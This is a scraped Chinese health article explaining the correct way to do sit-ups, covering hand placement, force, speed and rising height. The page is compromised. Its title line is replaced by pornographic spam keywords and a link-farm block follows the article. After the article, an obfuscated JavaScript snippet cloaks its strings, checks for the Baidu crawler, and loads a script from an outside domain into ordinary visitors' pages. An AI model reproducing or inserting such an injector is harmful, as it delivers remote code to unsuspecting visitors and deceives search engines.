久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

做仰臥起坐的正確方法是什么?

2017-04-14 19:37:43  來源:360常識網   熱度:
導語:仰臥起坐是一種健康的減肥方法,通過腹部的力量來牽引全身能消耗多余的脂肪,對減小肚子上的贅肉具有很好的效果。但是大家上有體育課時為了

仰臥起坐是一種健康的減肥方法,通過腹部的力量來牽引全身能消耗多余的脂肪,對減小肚子上的贅肉具有很好的效果。但是大家上有體育課時為了達標將仰臥起坐做的又快又猛,這并不見得是一種良好的鍛煉方式,甚至可能造成肌肉拉傷。那么做仰臥起坐的正確方法是什么呢?

1. 雙手的位置

傳統的仰臥起坐,雙手十指交叉放于頭后,在起坐的過程中常常會借助手的力量將頭抬起,這樣很容易造成頸部肌肉的拉傷。正確的方法是將雙手交叉抱于胸前,起坐時應讓腹部發力,而并非手臂。

2. 發力點

傳統的仰臥起坐需要將腳部固定,這樣會加大大腿和髖部屈肌的負擔,從而降低腹部肌肉的作用。當外力加大時,往往會利用臀部發力,完成起坐的動作,這樣很容易造成腰部和尾骨的損害。因此在借助外力時應注意力量要適中。

3. 速度

體育達標要在1分鐘內做足30多個仰臥起坐,因此很多人認為仰臥起坐需要速度。其實不然,速度越快腹肌受到的壓力會越小,正確方法應該盡量放慢速度,鍛煉腹部肌肉的控制能力。起身時注意要呼氣,這樣可以使腹部較深層的肌肉同時得到鍛煉。

4. 起身高度

傳統的仰臥起坐起身后需讓額頭觸碰膝蓋后還原,即上身由平躺狀態迅速升起至90°左右,其實在起身升至45°之前腹直肌負擔沒有達到最重的階段。因為在這個起動階段,有胸鎖乳突肌、胸大肌、肋間肌、腰小肌、腰大肌和髂肌等的協同作用。

現在你知道仰臥起坐的正確做法是什么了吧,想要達到減肥瘦身的效果,就必須要學會正確的動作,掌握動作技巧,并知道發力點在哪里。運動也不要過量,可以間隔安排短時間的休息。感謝大家的閱讀。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美日韩精品免费 | 国产不卡视频在线观看 | 殴美一区| 日韩欧美国产精品综合嫩v 午夜精品久久久久久久久 97色在线视频 | 日本视频在线播放 | 亚洲国产一区二区三区四区 | 福利视频网站 | 91精品国产综合久久久久久蜜月 | 国产精品国产三级国产aⅴ无密码 | 国产精品一区二区不卡视频 | 日韩高清中文字幕 | 国产精品99久久久久久宅男 | 天天添夜夜操 | 亚洲六月丁香色婷婷综合久久 | 日韩精品免费在线视频 | 午夜精品久久久久久久久久久久久 | 噜噜av| 久久色网 | 日本黄色免费 | 国产视频网| 国产精品久久久久久久久岛 | 国产精品亚洲第一区在线暖暖韩国 | 中文天堂在线观看视频 | 欧美日韩激情在线一区二区三区 | 欧美日韩系列 | 91亚洲国产成人久久精品网站 | 一本岛在线视频 | 日韩精品一区二区三区中文在线 | 国产精品视频不卡 | 日韩欧美中文国 | 丰满少妇理论片 | 免费一区二区三区 | 亚洲黄色影院 | aaa久久| 午夜精品一区二区三区免费视频 | 91欧美在线 | 午夜精品久久久久久久久久久久久 | 国产91一区 | 在线视频亚洲 | 国产又粗又长又硬又猛电影 | 欧美三级 欧美一级 |